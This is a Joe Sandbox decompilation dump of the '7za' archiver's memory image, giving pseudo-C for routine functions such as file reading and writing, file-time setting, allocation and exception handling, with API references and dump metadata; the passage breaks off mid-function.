
0x0046c006
0x0046c008
0x0046c00d
0x0046c018
0x0046c019
0x0046c026
0x0046c02e
0x0046c073
0x0046c076
0x00000000
0x0046c078
0x0046c078
0x0046c07b
0x0046c07d
0x0046c089
0x0046c07f
0x0046c07f
0x0046c082
0x0046c082
0x0046c08a
0x0046c08d
0x0046c093
0x0046c0c3
0x0046c0c3
0x00000000
0x0046c095
0x0046c097
0x0046c09c
0x0046c09d
0x0046c0b0
0x0046c0b3
0x0046c0b7
0x0046c0bc
0x0046c0bf
0x0046c0c1
0x00000000
0x00000000
0x0046c0c1
0x0046c093
0x0046c030
0x0046c030
0x0046c033
0x0046c039
0x0046c0d2
0x0046c0d2
0x0046c0d5
0x0046c0d7
0x0046c0db
0x0046c0db
0x0046c0df
0x0046c0df
0x0046c0e1
0x0046c0e2
0x0046c0e2
0x0046c0ea
0x0046c03f
0x0046c041
0x0046c047
0x0046c04b
0x0046c052
0x0046c055
0x0046c059
0x0046c05e
0x0046c063
0x00000000
0x00000000
0x0046c065
0x0046c063
0x0046c039
0x0046c0f3
0x0046c0fe

APIs

Part of subcall function 0046E56A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5A7
Part of subcall function 0046E56A: EnterCriticalSection.KERNEL32(?,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5C2

Part of subcall function 0046F902: VirtualAlloc.KERNEL32(000000FF,00000000,00001000,00000004,00000000,00000010,00000000,00000009,00000009,?,0046C0AF,00000010,00000000,?), ref: 0046FA3D

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 0046C0EA

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043B81A, Relevance: 1.6, APIs: 1, Instructions: 64

C-Code - Quality: 88%

			E0043B81A(intOrPtr __edx) {
				void* _t26;
				intOrPtr* _t27;
				void* _t29;
				intOrPtr* _t30;
				void* _t33;
				intOrPtr* _t34;
				intOrPtr _t41;
				void* _t42;
				void* _t46;
				intOrPtr* _t47;
				void* _t50;
				void* _t51;
				void* _t53;

				_t41 = __edx;
				E0046B890(E0047863C, _t51);
				_t47 =  *((intOrPtr*)(_t51 + 8));
				 *((intOrPtr*)(_t51 - 0x10)) = _t53 - 0xc;
				 *((intOrPtr*)(_t51 - 4)) = 0;
				 *((char*)(_t51 - 4)) = 1;
				 *((intOrPtr*)( *_t47 + 0x10))(_t47, _t42, _t46, _t33);
				_t34 =  *((intOrPtr*)(_t51 + 0xc));
				_t26 =  *((intOrPtr*)( *_t34 + 0x10))(_t34, 0, 0, 0, 0);
				_t56 = _t26;
				if(_t26 == 0) {
					_push( *((intOrPtr*)(_t51 + 0x10)));
					_t45 = _t47 + 0x28;
					_t26 = E0043EACB(_t47 + 0x28, _t51, _t56, _t34);
					if(_t26 == 0) {
						_t27 =  *((intOrPtr*)(_t51 + 0x14));
						 *((intOrPtr*)(_t51 - 0x18)) = 0x47b740;
						 *((intOrPtr*)(_t51 - 0x14)) = _t27;
						if(_t27 != 0) {
							 *((intOrPtr*)( *_t27 + 4))(_t27);
						}
						 *((intOrPtr*)(_t51 - 0x18)) = 0x47b738;
						_push(_t51 - 0x18);
						_push(_t47 + 0x10);
						 *((char*)(_t51 - 4)) = 2;
						_t29 = E0043FFA5(_t45, _t41); // executed
						_t50 = _t29;
						_t30 =  *((intOrPtr*)(_t51 - 0x14));
						 *((char*)(_t51 - 4)) = 1;
						if(_t30 != 0) {
							 *((intOrPtr*)( *_t30 + 8))(_t30);
						}
						_t26 = _t50;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t51 - 0xc));
				return _t26;
			}

0x0043b81a
0x0043b81f
0x0043b829
0x0043b82f
0x0043b834
0x0043b838
0x0043b83c
0x0043b83f
0x0043b849
0x0043b84c
0x0043b84e
0x0043b854
0x0043b857
0x0043b85d
0x0043b864
0x0043b866
0x0043b869
0x0043b872
0x0043b875
0x0043b87a
0x0043b87a
0x0043b87d
0x0043b88a
0x0043b88b
0x0043b88e
0x0043b892
0x0043b897
0x0043b899
0x0043b89e
0x0043b8a2
0x0043b8a7
0x0043b8a7
0x0043b8aa
0x0043b8aa
0x0043b864
0x0043b8e4
0x0043b8ed

APIs

__EH_prolog.LIBCMT ref: 0043B81F

Part of subcall function 0043FFA5: __EH_prolog.LIBCMT ref: 0043FFAA
Part of subcall function 0043FFA5: __CxxThrowException@8.LIBC ref: 004401A7
Part of subcall function 0043FFA5: __CxxThrowException@8.LIBC ref: 00440333

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00440338, Relevance: 1.6, APIs: 1, Instructions: 52

C-Code - Quality: 57%

			E00440338(intOrPtr* __ecx) {
				intOrPtr* _t20;
				intOrPtr* _t40;
				intOrPtr* _t43;
				void* _t45;

				E0046B890(E00478C10, _t45);
				_push(__ecx);
				_t40 = __ecx;
				_push(0x28);
				_t20 = E004079F2();
				if(_t20 == 0) {
					_t43 = 0;
				} else {
					 *((intOrPtr*)(_t20 + 4)) = 0;
					 *((intOrPtr*)(_t20 + 8)) = 0;
					 *_t20 = 0x47b218;
					_t43 = _t20;
				}
				 *((intOrPtr*)(_t45 - 0x10)) = _t43;
				if(_t43 != 0) {
					 *((intOrPtr*)( *_t43 + 4))(_t43);
				}
				 *((intOrPtr*)(_t45 - 4)) = 0;
				asm("adc ecx, [ebp+0xc]");
				E004403D0(_t40,  *((intOrPtr*)(_t40 + 0x40)) +  *((intOrPtr*)(_t45 + 8)),  *((intOrPtr*)(_t40 + 0x44))); // executed
				_t9 = _t43 + 8; // 0x8
				E0040C9B4(_t9,  *_t40);
				 *((intOrPtr*)(_t43 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10));
				 *((intOrPtr*)(_t43 + 0x14)) =  *((intOrPtr*)(_t45 + 0x14));
				 *((intOrPtr*)(_t43 + 0x18)) = 0;
				 *((intOrPtr*)(_t43 + 0x1c)) = 0;
				 *((char*)(_t43 + 0x20)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t45 - 0xc));
				return _t43;
			}

0x0044033d
0x00440342
0x00440346
0x00440348
0x0044034a
0x00440354
0x00440366
0x00440356
0x00440356
0x00440359
0x0044035c
0x00440362
0x00440362
0x0044036a
0x0044036d
0x00440372
0x00440372
0x0044037e
0x00440381
0x00440388
0x0044038f
0x00440392
0x0044039d
0x004403a3
0x004403a6
0x004403a9
0x004403ac
0x004403b4
0x004403bc

APIs

__EH_prolog.LIBCMT ref: 0044033D

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040E007, Relevance: 1.5, APIs: 1, Instructions: 48

C-Code - Quality: 78%

			E0040E007(intOrPtr* __ecx, void* __edi) {
				char _v8;
				char _v12;
				intOrPtr* _t21;
				char _t22;
				intOrPtr _t23;
				signed int _t24;
				signed int _t25;
				signed int _t26;
				intOrPtr _t30;
				intOrPtr _t31;
				intOrPtr* _t39;

				_push(__ecx);
				_push(__ecx);
				_t39 = __ecx;
				if( *((char*)(__ecx + 0x1c)) == 0) {
					_t30 =  *((intOrPtr*)(__ecx + 8));
					asm("cdq");
					 *((intOrPtr*)(__ecx + 0x10)) =  *((intOrPtr*)(__ecx + 0x10)) +  *__ecx - _t30;
					_t21 =  *((intOrPtr*)(__ecx + 0xc));
					asm("adc [esi+0x14], edx");
					_t22 =  *((intOrPtr*)( *_t21 + 0xc))(_t21, _t30,  *((intOrPtr*)(__ecx + 0x18)),  &_v12, __edi);
					if(_t22 != 0) {
						_v8 = _t22;
						E0046B8F4( &_v8, 0x47ed30);
					}
					_t23 =  *((intOrPtr*)(_t39 + 8));
					_t31 = _v12;
					 *_t39 = _t23;
					_t24 = _t23 + _t31;
					 *(_t39 + 4) = _t24;
					_t25 = _t24 & 0xffffff00 | _t31 == 0x00000000;
					 *(_t39 + 0x1c) = _t25;
					_t26 = 0 | _t25 == 0x00000000;
				} else {
					_t26 = 0;
				}
				return _t26;
			}

0x0040e00a
0x0040e00b
0x0040e00d
0x0040e013
0x0040e019
0x0040e021
0x0040e022
0x0040e025
0x0040e02f
0x0040e036
0x0040e03c
0x0040e03e
0x0040e04a
0x0040e04a
0x0040e04f
0x0040e052
0x0040e055
0x0040e057
0x0040e05b
0x0040e05e
0x0040e063
0x0040e06b
0x0040e015
0x0040e015
0x0040e015
0x0040e06f

APIs

__CxxThrowException@8.LIBC ref: 0040E04A

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00411194, Relevance: 1.5, APIs: 1, Instructions: 44

C-Code - Quality: 93%

			E00411194(void* __ecx, void* __edx) {
				void* _t17;
				intOrPtr* _t19;
				char _t20;
				void* _t36;
				void* _t41;

				_t17 = E0046B890(E00474258, _t41);
				_t36 = __ecx;
				if( *((intOrPtr*)(__edx + 4)) != 0) {
					_t17 = E00408A3B(__edx);
					_t47 = _t17;
					if(_t17 == 0) {
						E0040B521(_t41 - 0x54);
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						_push(__edx);
						_t19 = E0040B0A0(_t41 - 0x1c, _t36);
						 *(_t41 - 4) = 1;
						_t20 = E0040B431(_t41 - 0x54, _t36, _t47,  *_t19); // executed
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						 *((char*)(_t41 - 0xd)) = _t20;
						E00407A18( *((intOrPtr*)(_t41 - 0x1c)));
						if( *((char*)(_t41 - 0xd)) != 0) {
							E00401E26(__edx, _t41 - 0x2c);
						}
						_t17 = E00407A18( *((intOrPtr*)(_t41 - 0x2c)));
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t41 - 0xc));
				return _t17;
			}

0x00411199
0x004111a5
0x004111ab
0x004111af
0x004111b4
0x004111b6
0x004111bb
0x004111c0
0x004111c4
0x004111ca
0x004111d4
0x004111d8
0x004111dd
0x004111e1
0x004111e7
0x004111f1
0x004111f9
0x004111f9
0x00411201
0x00411206
0x004111b6
0x0041120c
0x00411214

APIs

__EH_prolog.LIBCMT ref: 00411199

Part of subcall function 0040B0A0: __EH_prolog.LIBCMT ref: 0040B0A5

Part of subcall function 0040B431: __EH_prolog.LIBCMT ref: 0040B436

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043ED67, Relevance: 1.5, APIs: 1, Instructions: 42

C-Code - Quality: 82%

			E0043ED67(intOrPtr* __ecx) {
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr* _t27;
				intOrPtr _t32;
				intOrPtr* _t35;
				void* _t37;
				intOrPtr _t39;

				E0046B890(E00478B6C, _t37);
				_push(__ecx);
				_push(__ecx);
				_t17 =  *((intOrPtr*)(_t37 + 0xc));
				_t35 = __ecx;
				_t32 = 0;
				 *((intOrPtr*)(_t37 - 0x10)) = _t39;
				if( *((intOrPtr*)(__ecx + 0x18)) == 0) {
					_t19 = E0040FA74( *__ecx,  *((intOrPtr*)(_t37 + 8)), _t37 + 0xc); // executed
					_t32 = _t19;
					_t20 =  *((intOrPtr*)(_t37 + 0xc));
				} else {
					 *((intOrPtr*)(_t37 - 4)) = 0;
					_t20 = E0043EDE3(__ecx + 0x20,  *((intOrPtr*)(_t37 + 8)), _t17);
				}
				_t27 =  *((intOrPtr*)(_t37 + 0x10));
				if(_t27 != 0) {
					 *_t27 = _t20;
				}
				 *((intOrPtr*)(_t35 + 0x10)) =  *((intOrPtr*)(_t35 + 0x10)) + _t20;
				_t21 = _t32;
				asm("adc [esi+0x14], ebx");
				 *[fs:0x0] =  *((intOrPtr*)(_t37 - 0xc));
				return _t21;
			}

0x0043ed6c
0x0043ed71
0x0043ed72
0x0043ed73
0x0043ed78
0x0043ed7d
0x0043ed82
0x0043ed88
0x0043edb7
0x0043edbc
0x0043edbe
0x0043ed8a
0x0043ed91
0x0043ed94
0x0043ed94
0x0043edc1
0x0043edc6
0x0043edc8
0x0043edc8
0x0043edca
0x0043edcd
0x0043edcf
0x0043edd7
0x0043ede0

APIs

__EH_prolog.LIBCMT ref: 0043ED6C

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00405C72, Relevance: 1.5, APIs: 1, Instructions: 28

C-Code - Quality: 84%

			E00405C72(void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t14;
				void* _t17;
				void* _t22;
				void* _t24;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t32;

				_t32 = __eflags;
				E0046B890(E004734B8, _t27);
				_push(_t17);
				_push(_t24);
				 *0x490a80 = 0x490ab8;
				 *((intOrPtr*)(_t27 - 0x10)) = _t29 - 0x30;
				 *0x490a7c = E00405F22(); // executed
				E004018A2(_t27 - 0x14); // executed
				 *(_t27 - 4) =  *(_t27 - 4) & 0x00000000;
				 *(_t27 - 4) = 1;
				_t14 = E00403A70(_t17, _t22, _t24, _t32, _t22); // executed
				_t25 = _t14;
				 *(_t27 - 4) =  *(_t27 - 4) | 0xffffffff;
				E00401917(_t27 - 0x14); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t27 - 0xc));
				return _t25;
			}

0x00405c72
0x00405c77
0x00405c7f
0x00405c80
0x00405c82
0x00405c8c
0x00405c97
0x00405c9c
0x00405ca1
0x00405ca5
0x00405ca9
0x00405cae
0x00405f05
0x00405f0c
0x00405f18
0x00405f21

APIs

__EH_prolog.LIBCMT ref: 00405C77

Part of subcall function 00405F22: GetVersionExA.KERNEL32(?), ref: 00405F3C

Part of subcall function 004018A2: SetConsoleCtrlHandler.KERNEL32(004018DA,00000001), ref: 004018B6
Part of subcall function 004018A2: __CxxThrowException@8.LIBC ref: 004018D0

Part of subcall function 00403A70: __EH_prolog.LIBCMT ref: 00403A75
Part of subcall function 00403A70: SetFileApisToOEM.KERNEL32 ref: 00403A83
Part of subcall function 00403A70: GetCommandLineW.KERNEL32 ref: 00403A9E
Part of subcall function 00403A70: __CxxThrowException@8.LIBC ref: 00403C03
Part of subcall function 00403A70: __CxxThrowException@8.LIBC ref: 00403C48
Part of subcall function 00403A70: __CxxThrowException@8.LIBC ref: 00403C89
Part of subcall function 00403A70: __CxxThrowException@8.LIBC ref: 00403F91
Part of subcall function 00403A70: __CxxThrowException@8.LIBC ref: 00404008
Part of subcall function 00403A70: __CxxThrowException@8.LIBC ref: 0040414E
Part of subcall function 00403A70: __CxxThrowException@8.LIBC ref: 00404360
Part of subcall function 00403A70: __CxxThrowException@8.LIBC ref: 00404794
Part of subcall function 00403A70: __CxxThrowException@8.LIBC ref: 00404952
Part of subcall function 00403A70: __CxxThrowException@8.LIBC ref: 00404ACB

Part of subcall function 00401917: SetConsoleCtrlHandler.KERNEL32(004018DA,00000000), ref: 00401928
Part of subcall function 00401917: __CxxThrowException@8.LIBC ref: 00401942

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043EEB2, Relevance: 1.5, APIs: 1, Instructions: 22

C-Code - Quality: 100%

			E0043EEB2(void* __edx, char _a4, char _a8) {
				void* __ebp;
				void* _t10;
				intOrPtr* _t15;
				char _t17;

				_t17 = _a8;
				_t10 = E0043ED67(_t15, _a4, _t17,  &_a4); // executed
				if(_t10 != 0) {
					_a8 = 6;
					E0046B8F4( &_a8, 0x486888);
				}
				return 0 | _a4 == _t17;
			}

0x0043eeb6
0x0043eec1
0x0043eec8
0x0043eed3
0x0043eeda
0x0043eeda
0x0043eee9

APIs

Part of subcall function 0043ED67: __EH_prolog.LIBCMT ref: 0043ED6C

__CxxThrowException@8.LIBC ref: 0043EEDA

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040BD9F, Relevance: 1.5, APIs: 1, Instructions: 22

C-Code - Quality: 86%

			E0040BD9F(void** __ecx, void* _a4, long _a8, intOrPtr* _a12) {
				long _v8;
				long _t12;
				signed int _t14;
				void** _t16;

				_t16 = __ecx;
				_push(__ecx);
				_t12 =  *0x48b5b0; // 0x400000
				if(_a8 > _t12) {
					_a8 = _t12;
				}
				_v8 = _v8 & 0x00000000;
				_t14 = WriteFile( *_t16, _a4, _a8,  &_v8, 0); // executed
				 *_a12 = _v8;
				return _t14 & 0xffffff00 | _t14 != 0x00000000;
			}

0x0040bd9f
0x0040bda2
0x0040bda3
0x0040bdab
0x0040bdad
0x0040bdad
0x0040bdb6
0x0040bdc2
0x0040bdd0
0x0040bdd6

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0040BDC2

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040BC58, Relevance: 1.5, APIs: 1, Instructions: 18

C-Code - Quality: 75%

			E0040BC58(void** __ecx, void* _a4, long _a8, intOrPtr* _a12) {
				long _v8;
				signed int _t11;

				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_t11 = ReadFile( *__ecx, _a4, _a8,  &_v8, 0); // executed
				 *_a12 = _v8;
				return _t11 & 0xffffff00 | _t11 != 0x00000000;
			}

0x0040bc5b
0x0040bc62
0x0040bc6e
0x0040bc7c
0x0040bc82

APIs

ReadFile.KERNEL32(000000FF,?,?,?,00000000), ref: 0040BC6E

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00443FAF, Relevance: 1.5, APIs: 1, Instructions: 17

C-Code - Quality: 27%

			E00443FAF(void* __ecx) {
				intOrPtr _t7;
				intOrPtr _t10;
				void* _t12;

				E0046B890(E0047913E, _t12);
				_push(__ecx);
				_push(0xc8);
				_t10 = E004079F2();
				 *((intOrPtr*)(_t12 - 0x10)) = _t10;
				_t7 = 0;
				 *((intOrPtr*)(_t12 - 4)) = 0;
				if(_t10 != 0) {
					_t7 = E0043AC65(_t10); // executed
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t12 - 0xc));
				return _t7;
			}

0x00443fb4
0x00443fb9
0x00443fba
0x00443fc5
0x00443fc7
0x00443fca
0x00443fce
0x00443fd1
0x00443fd3
0x00443fd3
0x00443fdb
0x00443fe3

APIs

__EH_prolog.LIBCMT ref: 00443FB4

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

Part of subcall function 0043AC65: __EH_prolog.LIBCMT ref: 0043AC6A

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043EEEC, Relevance: 1.5, APIs: 1, Instructions: 14

C-Code - Quality: 100%

			E0043EEEC(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, signed int _a8) {
				void* _t6;

				_t6 = E0043EEB2(__edx, _a4, _a8); // executed
				if(_t6 == 0) {
					_a8 = _a8 & 0x00000000;
					return E0046B8F4( &_a8, 0x486888);
				}
				return _t6;
			}

0x0043eef5
0x0043eefc
0x0043eefe
0x00000000
0x0043ef0b
0x0043ef11

APIs

Part of subcall function 0043EEB2: __CxxThrowException@8.LIBC ref: 0043EEDA

__CxxThrowException@8.LIBC ref: 0043EF0B

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040BD82, Relevance: 1.5, APIs: 1, Instructions: 9

C-Code - Quality: 58%

			E0040BD82(void** __ecx, FILETIME* _a4, FILETIME* _a8, FILETIME* _a12) {
				signed int _t4;

				_t4 = SetFileTime( *__ecx, _a4, _a8, _a12); // executed
				asm("sbb eax, eax");
				return  ~( ~_t4);
			}

0x0040bd90
0x0040bd98
0x0040bd9c

APIs

SetFileTime.KERNELBASE(?,?,?,?), ref: 0040BD90

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004585C0, Relevance: 1.3, APIs: 1, Instructions: 10

C-Code - Quality: 100%

			E004585C0(long __ecx) {
